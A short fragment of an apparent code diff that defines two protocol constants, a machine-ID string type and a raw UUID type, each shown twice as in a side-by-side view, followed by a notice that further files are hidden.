TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460 TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461 TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461

Some files were not shown because too many files have changed in this diff Show More